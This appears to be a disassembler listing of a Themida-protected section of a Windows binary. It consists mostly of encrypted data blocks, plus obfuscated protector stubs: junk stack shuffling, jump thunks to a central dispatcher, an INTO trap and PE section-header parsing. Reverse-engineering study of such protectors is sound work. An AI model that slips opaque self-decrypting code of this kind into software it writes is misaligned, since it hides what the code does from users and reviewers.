		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5AD892
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+61502A1h],	eax
		lea	ebx, [ebp+617A7A6h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD892:				; CODE XREF: Themida_:005AD879j
		push	0
		push	ecx
		call	sub_5AD89D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD89D	proc near		; CODE XREF: Themida_:005AD895p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5AD89D	endp

; ---------------------------------------------------------------------------
		db 0AEh, 22h, 83h
		dd 43C16182h, 8B72B613h, 0AE9C0h, 0B8850000h, 874B80D6h
		dd 4E937DF3h, 0DE8C28Bh, 5F000000h, 0B9068386h,	62A959EFh
		dd 9C76994Bh, 7E8h, 9444F800h, 0DBA62361h, 5AFB8B66h, 0BE66535Bh
		dd 815FC7AEh, 5EF7C3h, 0E2816600h, 6853C0h, 0E8000000h
		dd 0Ch,	3AC00ECDh, 5044F47Ch, 992BC527h, 13E9h,	4C933B00h
		dd 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h, 5260595Eh
		dd 8CF6BB66h, 7E959h, 0E66D0000h, 0F2256A44h, 48B61B8h
		dd 0B7E2810Bh, 812D444Bh, 0D74689F0h, 1E88167h,	8B16B435h
		dd 61E881F9h, 666F9CFDh, 55B9F681h, 8F1CB250h, 60F90B04h
		dd 0C9B70F50h, 0FE95Eh,	57A0000h, 8CDD9FB6h, 0ED17021Fh
		dd 65D3AA5Ah, 0E98361AAh, 81494902h, 814F6ACAh,	0F4F9810Ah
		dd 0FFFFFA1h, 0E85h, 1CE900h, 1E540000h, 0C15B4853h, 600B0FB5h
		dd 61CB8B66h, 0FFFF8DE9h, 8AB97BFFh, 4634100Ch,	8EB95B3h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5ADA48
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5AD9D8:				; CODE XREF: Themida_:005ADA0Fj
		mov	eax, [ebp+6152DB5h]
		lea	eax, [ebp+6188E90h]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+6183F95h],	ecx
		cmp	dword ptr [ebp+615295Dh], 0
		jz	loc_5ADA14
		pusha
		push	0
		call	dword ptr [ebp+6152E21h]
		popa
		jmp	loc_5AD9D8
; ---------------------------------------------------------------------------


loc_5ADA14:				; CODE XREF: Themida_:005AD9FFj
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+6183F91h],	eax
		mov	esi, [ebp+6183F95h]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+6183F95h]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+6183F91h]
		retn
; ---------------------------------------------------------------------------


loc_5ADA48:				; CODE XREF: Themida_:005AD9C8j
		lea	edx, [ebp+6150E41h]
		mov	[ebp+615282Dh],	edx
		mov	[ebp+6152849h],	edx
		inc	dword ptr [ebp+6152849h]
		mov	byte ptr [ebp+61509C5h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+6152E21h],	eax
		lea	eax, [ebp+6183736h]
		mov	[ebp+615248Dh],	eax
		jmp	short loc_5ADAAE
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ADAAE:				; CODE XREF: Themida_:005ADA8Cj
		jmp	loc_5AE01E
; ---------------------------------------------------------------------------
		jmp	loc_5AE017
; ---------------------------------------------------------------------------
		push	61841E0h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6184295h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6184473h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61844F4h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dd 0CE959D5h, 53229217h, 24F161DCh, 5C39A90Fh, 22F363C7h
		dd 278B0685h, 0EE51DEB7h, 2C88977Eh, 0E94AD9BCh, 232B9C79h
		dd 9EB279A0h, 0B9830416h, 5D59C924h, 0B3D66D6Fh, 3A1086F2h
		dd 0FB228169h, 849086F2h, 9515A5B2h, 4234A398h,	8BBEF1A8h
		dd 17A81E1Eh, 1FA6h, 624F8200h,	494670E0h, 0F2DA02A1h
		dd 0E1951086h, 6816ADB1h, 0F1169F32h, 1C6F5520h, 4B000000h
		dd 86F297B6h, 80B05010h, 325907BEh, 99BE169Fh, 57CFAE5Ch
		dd 1C7C6EBBh, 24BE6A0Bh, 0A4C61C9h, 46327F6Fh, 84C62D69h
		dd 0D890860Dh, 0C2AFE757h, 30C7CF3Fh, 1A8D5689h, 2687406Fh
		dd 2CD7DFB6h, 3A63E2FCh, 0B99087FDh, 36B5AEE8h,	312B2FC6h
		dd 87FD4F92h, 6D1D2E90h, 7B437343h, 9D1050C8h, 0A81B1D96h
		dd 9690CF61h, 22143B0Ch, 90CF7AA3h, 218C0396h, 11380BD1h
		dd 0DC9690CFh, 9741FCBh, 8F1DBE5Bh, 65h, 0DB0BABABh, 31FF4003h
		dd 917E169Fh, 0F8D5C131h, 0DCD507D7h, 0C9C6F060h, 10FA6ACAh
		dd 6530A023h, 20FD6DCEh, 0B7D44934h, 54258DA7h,	4000003h
		dd 0C45B3AAAh, 1320F565h, 7CB342B2h, 3AE98CFCh,	0EEAD48B8h
		dd 108002BDh, 0D949AE85h, 1585E73Ch, 0E050B380h, 299CC215h
		dd 169EB3E0h, 0B5320A8Bh, 31Fh,	59C924D1h, 0BE855785h
		dd 1086F29Bh, 0ADF45162h, 501086F2h, 0BDE45F7Fh, 401086F2h
		dd 32917B6Fh, 1086F2EBh, 86F2CE8Fh, 0F26CB210h,	86AB1086h
		dd 0E7D6B424h, 1086F2A6h, 86F2034Ah, 0F2A6E710h, 7F3FD086h
		dd 0D66D6F4Fh, 0D086F2B3h, 0BB81693Ah, 0C03090A1h, 0B211F9D6h
		dd 0D69EE65Eh, 62C8CEDFh, 0F5506E9Eh, 0D08BF7B1h, 49FCE2h
		dd 0EBDCABF7h, 0BF9030DAh, 0BF83F0DEh, 7D05EFF1h, 29Fh
		dd 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh
		dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh
		dd 9EB06DB4h, 0AD8F1016h, 3C6D864Fh, 5C0844Ch, 0D0234A4h
		dd 68CB4822h, 724A600h,	9CB3C2FCh, 708F95C2h, 1A63832Eh
		dd 43279719h, 6F9F5FC9h, 6EDE624Fh, 610BBA7Ch, 169F08h
		dd 5CD9462Fh, 2D0272D0h, 0EA5ADB48h, 4A7A3EACh,	4927D174h
		dd 0C5D61087h, 4E489530h, 93C91CB6h, 0B64EE930h, 0CC8B941Ch
		dd 13015BF0h, 0B5DB8FA0h, 360DD101h, 1AAF1EB0h,	7EEE4C39h
		dd 0F44F8D51h, 2CE9EADh, 92B78E50h, 5902CE9Eh, 0B1836748h
		dd 2930380h, 64D45B58h,	7CAD5D32h, 2C878FFFh, 2CE9E91h
		dd 0A4BAEA8Eh, 0F821A4BAh, 8302CE9Eh, 920281B2h, 5E1BCDF8h
		dd 0C9DA04D7h, 4EEE7F5h, 0F52DA536h, 92F122C8h,	5FDC5322h
		dd 714CA7EFh, 0EE08E620h, 81441A4Ah, 0EFFE0F7h,	88A9B586h
		dd 45DABB2Bh, 5E4076E6h, 2F67D755h, 7009795Eh, 4822ADA4h
		dd 1848F8A2h, 7F461846h, 0EFFA95Ah, 774E1021h, 0EFFA952h
		dd 43620819h, 8E66985h,	89534354h, 55EA544Ch, 5B3462D2h
		dd 26DB7F7Ch, 15345944h, 0C72A3417h, 0F0525F57h, 6AF9680h
		dd 0ACF14D7h, 4D97746Eh, 0E1F6C862h, 0C3BAE533h, 118862FEh
		dd 193EAB9Eh, 0CC6BC3Ah, 0E2000000h, 870F97B6h,	175A10h
		dd 4F2E0000h, 4DFB6C86h, 0A3857F66h, 5CDDFAFCh,	0F8A34760h
		dd 108721D5h, 0DB0BAB14h, 58D8D903h, 39D1AEE8h,	9F32E08Ah
		dd 86B08116h, 7DF844F4h, 0FF34090Dh, 1B230C7Ch,	0A5069216h
		dd 0EE701A35h, 83BBAB57h, 370ED010h, 1CABBB12h,	7E22C8D9h
		dd 77BF2F91h, 0DCD4A986h, 7B1BF3Fh, 0C185EDh, 17970000h
		dd 0E061CEA7h, 2F8EA570h, 0E749D6BFh, 31919E77h, 347734C1h
		dd 0EC89F979h, 0B540B037h, 0E78EFE7Eh, 0AA4BBB38h, 4B8E3519h
		dd 32169EB6h, 0BAB8BB1h, 0CEC838BFh, 0B300DEF1h, 0E4D9DD4Dh
		dd 0EB953006h, 28169F32h, 892A3A2Fh, 0D4B6DE2Fh, 55E3D3E4h
		dd 6F6D71A1h, 11B3D66Dh, 693A169Eh, 1C362281h, 7E471083h
		dd 0E362CB4Ah, 1CAB06BEh, 0BB4B6C3Dh, 98654AE0h, 0B1BF7B9Ah
		dd 40CB274Dh, 18000000h, 0D8472E9Eh, 170CE959h,	0E04F2696h
		dd 0E25F060h, 42593CACh, 64D45649h, 0AD1DA291h,	69D95BC8h
		dd 0A414978Ch, 6DD806D1h, 169EB624h, 0B5F646C7h, 0Bh, 0E1624FD1h
		dd 53C34271h, 247585B7h, 475C5ACAh, 314274E4h, 3E3363D3h
		dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
		dd 783C7AEAh, 555E68h, 24148900h, 5E08950h, 4, 42Dh, 24048700h
		dd 243C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 575B0D98h
		sub	ecx, 5142CCE7h
		mov	edi, ecx
		pop	ecx
		push	6DA3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	79D8h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], edi
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 8
		dd 1ED1BD76h
		db 86h,	1Ch, 0A5h
; ---------------------------------------------------------------------------


loc_5AE017:				; CODE XREF: Themida_:005ADAB3j
		mov	eax, 6184559h
		add	eax, ebp


loc_5AE01E:				; CODE XREF: Themida_:loc_5ADAAEj
		mov	ecx, eax
		jmp	loc_5AE076
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5AE040:				; CODE XREF: Themida_:005AE06Bj
		cmp	ecx, 0
		jz	loc_5AE05F
		cmp	edi, [edx+0Ch]
		jg	loc_5AE067
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5AE05F:				; CODE XREF: Themida_:005AE043j
					; Themida_:005AE071j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5AE067:				; CODE XREF: Themida_:005AE04Cj
		add	edx, 28h
		dec	ecx
		jnz	loc_5AE040
		jmp	loc_5AE05F
; ---------------------------------------------------------------------------


loc_5AE076:				; CODE XREF: Themida_:005AE020j
		mov	edx, 9FD3Eh
		jmp	short $+2
		jmp	loc_5AE6BD
; ---------------------------------------------------------------------------
		jmp	loc_5AE6B6
; ---------------------------------------------------------------------------
		push	6184727h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6184896h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6184914h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61849E5h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6184AF7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 0AEh, 50h, 0E0h
		dd 2B9B1E15h, 0E858D54Ah, 2292160Dh, 0EE5EDC53h, 0A81B9007h
		dd 0E43BDA4Ah, 0AD821383h, 0E936DF4Fh, 487B1A8Ah, 0B49ABF86h
		dd 0A061169Eh, 0F297B69Ch, 365B1086h, 0BA1086F2h, 1086F294h
		dd 86F2335Ah, 0F297B710h, 325B1086h, 0AB9086F2h, 4003DB0Bh
		dd 969C1D54h, 0B7BFC29h, 411D320Bh, 0B89C3A1Bh,	987C0D0Dh
		dd 53C341F2h, 9F0F6DC2h, 3D6D1197h, 111A3B21h, 86F674D5h
		dd 353B9EB1h, 0C63E6655h, 0D2BF9089h, 0E3340373h, 0D4C44243h
		dd 74AB725Dh, 0E731C19Ch, 4B765CDh, 0EB4B0000h,	24859A7Bh
		dd 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh, 0F0BBF085h, 28CD3DBDh
		dd 710474FBh, 43D242C2h, 761F8FECh, 9FC2814Dh, 5E169EB5h
		dd 0C7249F9Dh, 0F2BADF66h, 70411086h, 0D3327F5Fh, 7D5A3363h
		dd 0E530C97Dh, 6CAA4047h, 869FC509h, 1E133B10h,	0AE152999h
		dd 10869F6Bh, 2E690112h, 0BB3E737Fh, 98724B4Bh,	0CDA8189Bh
		dd 6A655481h, 0CD2F3888h, 278FEC1Dh, 9C49F3AAh,	0E082787h
		dd 0F0269615h, 856D6059h, 0AE5CCC2Ch, 0E78EFE7Dh, 0A8D52FBAh
		dd 3E6B597h, 0E9F30000h, 8645375Ah, 56C62910h, 5BDAD9EAh
		dd 241BFFEBh, 48B83BC7h, 585E714Eh, 66906176h, 0B837291Bh
		dd 0B0ABF3D2h, 0C8311086h, 0D2F8DD15h, 88B1DB6Ah, 549F2730h
		dd 0B51C2C1Eh, 67D754D5h, 0AA19458Eh, 10865367h, 8293506h
		dd 77FB38A8h, 0B8A96307h, 0FA29CC3Ch, 27350979h, 0EA975B2Eh
		dd 47FE3FA7h, 10860C02h, 4571E15Ch, 23C7D848h, 0F83923E9h
		dd 70990C7Ch, 0FB10860Ch, 0AA5A402Ah, 0C97BA89h, 92ED1086h
		dd 0E4F03173h, 0F3DCED53h, 3EAE0D22h, 7F943720h, 12C5B333h
		dd 42A5BE78h, 5F7E43D2h, 9110863Ah, 0F278BE2Eh,	1E401E4Eh
		dd 62A71E40h, 910863Ah,	3A448D38h, 16271086h, 0C1A54974h
		dd 5B48169Ch, 5E2F67D7h, 0AF6BAC71h, 2F4B7D6h, 34882h
		dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h,	0DA4AA877h
		dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h
		dd 0BA468B3Ah, 6425169Eh, 57C724D8h, 0ABEE5587h, 521086F2h
		dd 766BA941h, 0A09185F5h, 84C6AF1Fh, 6192BA53h,	79116292h
		dd 86AC434Ah, 5CE62710h, 77F81087h, 69B40F07h, 0AA10869Ch
		dd 0D0BA2A89h, 0D8E616EAh, 9C69596Dh, 32CBDC16h, 0B7D70AEFh
		dd 0CA028274h, 38000002h, 78A74EBEh, 37EC89F9h,	80AF46B6h
		dd 2E059000h, 0E2B95CCCh, 474F6A9h, 0CD3DC271h,	979FB28h
		dd 0C434B76Ch, 0DB8A631h, 169EBBC4h, 2456E6A7h,	525F57C7h
		dd 0F29581F1h, 50B314BBh, 1DA015E0h, 0A397A81Ah, 248h
		dd 0AB1B9899h, 44F8926Bh, 72E2624Fh, 49F4B44h, 1086F2D9h
		dd 583DAD0Fh, 0E5F969CBh, 160070CCh, 0CEE35139h, 0FEE0FE6Eh
		dd 86F20247h, 32D8E910h, 0C0F14504h, 741BCF3Fh,	8EFE7E49h
		dd 0CA7963E7h, 1086F287h, 0F6B55566h, 97A81A73h, 2D9D1E13h
		dd 62DD3Dh, 4FB90000h, 296DDD62h, 3CFCB654h, 0AADC0B14h
		dd 0AD82BC23h, 5B963291h, 0EC45169Ch, 251A1C8Ch, 1B1B8BEEh
		dd 47584822h, 0D7256DB6h, 78FCFAB7h, 1F9h, 583DAD09h, 1FF666CBh
		dd 0B045B510h, 0E88DFD83h, 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh
		dd 80FC33C2h, 4DAE8510h, 0BF8F38DDh, 9EBBDD04h,	5DDFA016h
		dd 123F06C8h, 0E91086F2h, 0C3F0DED8h, 0F6C7CF3Fh, 25951714h
		dd 0F060E350h, 588834C6h, 960666BDh, 3FAD8FC8h,	6812C53Ch
		dd 5A7D6028h, 6C70A079h, 8B851E0h, 0F796745Bh, 5B5BCB28h
		dd 3380E146h, 0A0E95CCCh, 4B108647h, 17C0557Ah,	47557C47h
		dd 0EB181086h, 361989h,	1C2292F3h, 0F8D6B13Bh, 6B1FE186h
		dd 0CAEB9A20h, 862CD6FBh, 0AB849510h, 87F7766Bh, 2C8AD3EEh
		dd 93631086h, 0FCE85B63h, 81169CC4h, 15B0AEB0h,	1690F4CCh
		dd 0F453764Dh, 91A1690h, 52E48697h, 8B78E061h, 68E622A2h
		dd 6EC5507Fh, 0B19B9B0Bh, 0D98054A4h, 76144591h, 0CFC737B5h
		dd 0D1ED5DE2h, 17F363E0h, 82022F1Dh, 140272F6h,	0B576143Bh
		dd 5CCEC838h, 0F3526C9Ch, 108D950Fh, 1D009DAEh,	0BEB1C128h
		dd 0E73CB8h, 9B1B0000h,	54D54A2Bh, 0A32211E4h, 6BCD6233h
		dd 0A5051AFBh, 404B6035h, 987DED4Dh, 0E1B4248Bh, 0F382F252h
		dd 0A64FBF3Ch, 4F92311Dh, 2E169EB8h, 8D4FCF6Dh,	86F293B6h
		dd 0CB2D5A10h, 9596745Bh, 0B9298A16h, 8FAF807Dh, 83B323A2h
		dd 0F2E72A99h, 0B5861086h, 0AB1B999Ah, 0DF5C55BFh, 0CE90276Fh
		dd 1BC77089h, 0A2917B12h, 0D5BCAE1Eh, 0FD5EDDEAh, 86B40346h
		dd 3FBDEA10h, 0D9F6C7CFh, 0F63B1FF6h, 27660474h, 97A85FC2h
		dd 79E94F64h, 4F47B73Ah, 19B08C7Eh, 0AE000000h,	0DABE73A9h
		dd 0EA6DFBh, 0F296B61Ch, 69CA1086h, 21981CF9h, 74000000h
		dd 71E1624Fh, 0F2E32A99h, 3E201086h, 86F24287h,	0A3202910h
		dd 0E2174A99h, 28E981AEh, 6EBA5BCBh, 12351299h,	73000000h
		dd 0E1A7D862h, 0A125A686h, 68E94439h, 9D7F6B44h, 5ACA249Dh
		dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
		dd 66D65A47h, 52C24330h, 7AEA4F64h, 7B68783Ch, 89000067h
		dd 8950240Ch, 405E0h, 42D0000h,	87000000h, 895C2404h, 3768243Ch
		dd 8900003Eh, 0BE56241Ch, 73857B2Dh, 3DA7F681h,	0F789759Dh
		dd 8324348Bh, 0EC8304C4h, 24248904h, 4240481h, 5B000000h
		dd 89FE8956h, 348B0873h, 4C48124h, 0FF000000h, 815B2434h
		dd 4C4h, 243C8B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 0FD31D9E9h, 5995BEFFh, 0EFD354F7h, 75830B53h
; ---------------------------------------------------------------------------
		adc	[edi], ah


loc_5AE6B6:				; CODE XREF: Themida_:005AE082j
		mov	eax, 6184C03h
		add	eax, ebp


loc_5AE6BD:				; CODE XREF: Themida_:005AE07Dj
		mov	edx, ecx
		jmp	loc_5AE82A
; ---------------------------------------------------------------------------
		dd 45E26F3h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	26h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AE82A:				; CODE XREF: Themida_:005AE6BFj
		jmp	loc_5B07D4
; ---------------------------------------------------------------------------
		push	6184FD7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61850EBh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61851C3h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618529Ah
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61853AAh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618546Ah
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185542h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185611h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185A23h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185A8Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185BA6h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6185E83h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618622Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6186596h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61866ACh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618671Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618676Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61867CEh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6186989h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6186A81h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6186C46h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 0F6h, 78h, 8
		dd 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh, 3063287Fh
		dd 9C9362D2h, 55CAAB1Bh, 0A18E67D7h, 0F0E3B222h, 0BC3257EEh
		dd 38B9169Eh, 57C72404h, 81F1525Fh, 0C2F2C6F4h,	0FB1149FCh
		dd 0CBDC169Bh, 0FB2568CBh, 67D21693h, 276CD178h, 3EF49DBDh
		dd 0EA000000h, 0C838BFF4h, 93F3345Dh, 4E6B716h,	0DB0BAB10h
		dd 0F5F04003h, 0BC8D169Bh, 1B9F947Ah, 0F5766BABh, 93BC9185h
		dd 0F181CCF7h, 0C36E1693h, 5DDDD61Ch, 2B8EFDEDh, 0B19DBD1Dh
		dd 0ABh, 57C72485h, 64F0525Fh, 0A8B69909h, 0F2CA0FB6h
		dd 0E0B11086h, 94170C0Ah, 143BAB08h, 42B21122h,	45B5377Ch
		dd 0E5EBC6A5h, 0F71086F7h, 0C2710474h, 53E5D141h, 0D86B73A3h
		dd 169C0030h, 0A109ECBDh, 3291ADDDh, 108B8509h,	0EA471728h
		dd 11461888h, 0E34509C2h, 6B616473h, 0BEE3627Ch, 3D1CAAA6h
		dd 40EF7E6Ch, 6CCB52C2h, 6FB1C042h, 1D22FD85h, 7BFB0000h
		dd 34B56A0Bh, 830231C4h, 4BAD8213h, 85E53ADBh, 602B8015h
		dd 0B85DCD2Dh, 194046Bh, 9362D232h, 0C6AF1F9Ch,	2F72D1FDh
		dd 0CE169EBDh, 0C624EF4Dh, 1370BF56h, 0AB66D2A3h, 0AE03DB0Bh
		dd 2E30DA4Ah, 9BF59B97h, 0A591A216h, 93F1FF1Eh,	9E118816h
		dd 0BD1D3EABh, 6FD3E09Dh, 3D64DFFFh, 0C01693FDh, 0E91FFBEFh
		dd 0FB000000h, 6DDD624Fh, 75B65429h, 0A39086F6h, 0A28FAF1Fh
		dd 8885B121h, 496A34E2h, 35907AEAh, 1086F6AFh, 8ED3726Ch
		dd 6D1086F7h, 0FE7DAE5Ch, 17AEB08Eh, 1086F7F2h,	688FA879h
		dd 27DFF71Ch, 0AA7914F6h, 4BDDD949h, 0E0637BABh, 169C3D38h
		dd 0C9EAF4C5h, 8211F969h, 0BA388434h, 0D2574C4Ah, 5C624D62h
		dd 3462D257h, 6748B83Fh, 86ABB183h, 0A0109723h,	0D4B69976h
		dd 8BD529E9h, 43A7D410h, 0C5EAE3D3h, 3ABCDCF9h,	4C44E931h
		dd 6DC6989Eh, 5C09E0Eh,	1CAAB8DCh, 2FDC8E9Fh, 65BA5BCBh
		dd 9F089505h, 40B1C04Ch, 1C0ECE36h, 0AF0F0000h,	68C9563Fh
		dd 0A7061DF8h, 6FD15E37h, 0A90916FFh, 4C3F5C39h, 0F481F151h
		dd 0AD48B83Fh, 0EF86F676h, 0C253C340h, 53764D11h, 1A169EA2h
		dd 624FE359h, 9B9872E2h, 61CEA717h, 95A372E2h, 5F57C724h
		dd 8B89F152h, 2ADB22AFh, 6ADA595Ah, 511B045h, 421C4CECh
		dd 4E833B1Ch, 0C00B102Ah, 864ADC05h, 0A18E9F10h, 4376DAC9h
		dd 9C95169Bh, 0DCBCAE1Eh, 519033CBh, 26CB00A3h,	0EC762A52h
		dd 0B6E050B3h, 1712FED9h, 999AA48Bh, 9F70A616h,	0EADD04BFh
		dd 8FA0D222h, 528359DBh, 0D9F61ED7h, 0AB1AF0BDh, 0D43880E7h
		dd 3EAE0F24h, 336307F8h, 0F2C63462h, 5C49FCC2h,	1FDE25B3h
		dd 1127300Eh, 0BB219066h, 231026C4h, 0CE6530A0h, 0B120FD6Dh
		dd 32EF1E8Dh, 1B36C044h, 87E70000h, 50B17E17h, 9F1E15E0h
		dd 57D9462Fh, 0A1210EE7h, 44476431h, 9C79E949h,	0E5B02087h
		dd 977EEE4Eh, 0DABB2B88h, 3B5EE5E9h, 0C2169EA3h, 0C724FB41h
		dd 25D95F57h, 2A5AE9F5h, 49169C03h, 0D85E350Ch,	0B7530C52h
		dd 5E5F3607h, 0F3FFFF2h, 428C942Fh, 20F1108Eh, 5C85401Eh
		dd 1F1CAC31h, 0AB1A5C0Eh, 0D41293E9h, 3DAD0D26h, 100676F6h
		dd 91654B3Fh, 22E65D61h, 69C54029h, 0CA89D073h,	470BC977h
		dd 7E51E655h, 0F7C7D848h, 778D054Ch, 33D7E8C9h,	0F684B283h
		dd 794C1242h, 0CF6D520Ch, 0D54EFEDh, 0F0F08048h, 0BA8B2BDFh
		dd 21A4BAA4h, 0F08048F8h, 0A6169683h, 83B09F70h, 38F99101h
		dd 0A0AA4BBBh, 78BE2E93h, 0C526E387h, 0DC53C855h, 0A294DDE5h
		dd 1A5F22h, 0D040BE00h,	1B8BEE45h, 0D848A57Ah, 1282E63Dh
		dd 0DE4EAC83h, 782B6037h, 34EB8AFAh, 7DB243B3h,	39E68FFFh
		dd 18AB4ABAh, 0A04A8F36h, 0B031169Eh, 57C7248Ch, 0FD9E4E87h
		dd 0EDB6562Fh, 38D242A6h, 0A4CC6CFEh, 4BF5835h,	108697DDh
		dd 68A88FA0h, 0CC92BD83h, 0B424A192h, 0BEDD8D82h, 169C053Eh
		dd 0A607EEBFh, 36B9FABBh, 0CA6E24C6h, 1901C49Ah, 2108EDFh
		dd 9FB47CD5h, 1B9F2324h, 0BD926BABh, 46D8E9CDh,	739E3F18h
		dd 177860Dh, 29261080h,	0A2396406h, 23A105E0h, 0A81B2353h
		dd 0BE4F0AE0h, 4F92312Bh, 2EBE6EEAh, 78496D1Dh,	0C00CAC3Eh
		dd 0DFFFD040h, 83E672D2h, 84E3C13h, 7435483Dh, 10B3A9B8h
		dd 0A47BA1C9h, 9707E3B4h, 439FB886h, 3C1EE296h,	0FBFA1FA6h
		dd 0B081A47Bh, 33EDB89Fh, 99B41C40h, 40716BF1h,	696650C0h
		dd 0C3339081h, 0BD2F2832h, 69B01386h, 14A47B65h, 365A3403h
		dd 991A17F3h, 92C95429h, 241208EFh, 194FA0h, 70CE00h, 0CB3BBE75h
		dd 878F52Ah, 0C232B66Dh, 0E7EFC33h, 487B3067h, 849B7AEAh
		dd 4DE2B323h, 89967FEFh, 0E8DBBA2Ah, 0A13A5FE6h, 40C1169Eh
		dd 0F8864FFCh, 5E1CB953h, 0C526E387h, 0CC288955h, 0D1745A5Ch
		dd 1086AD88h, 0DD8DA273h, 0A9F5C92Fh, 0F7E0D646h, 0E92B6E8Ch
		dd 381738B6h, 0C079F26h, 516169Ch, 3BD65170h, 0D0734B7Bh
		dd 108EDB48h, 0C49A6435h, 989E0E6Fh, 9BD8C3A7h,	1C01E38Dh
		dd 0B3122C5Ch, 1FF0D7EFh, 0B323A18Eh, 71A58A83h, 37073707h
		dd 1DD8198Ch, 734B5C19h, 0D431BD3Eh, 725D3264h,	1EA5B7A3h
		dd 511C2FBh, 0FD82B182h, 0CF2CDD8Dh, 6631BE5Fh,	88AEA855h
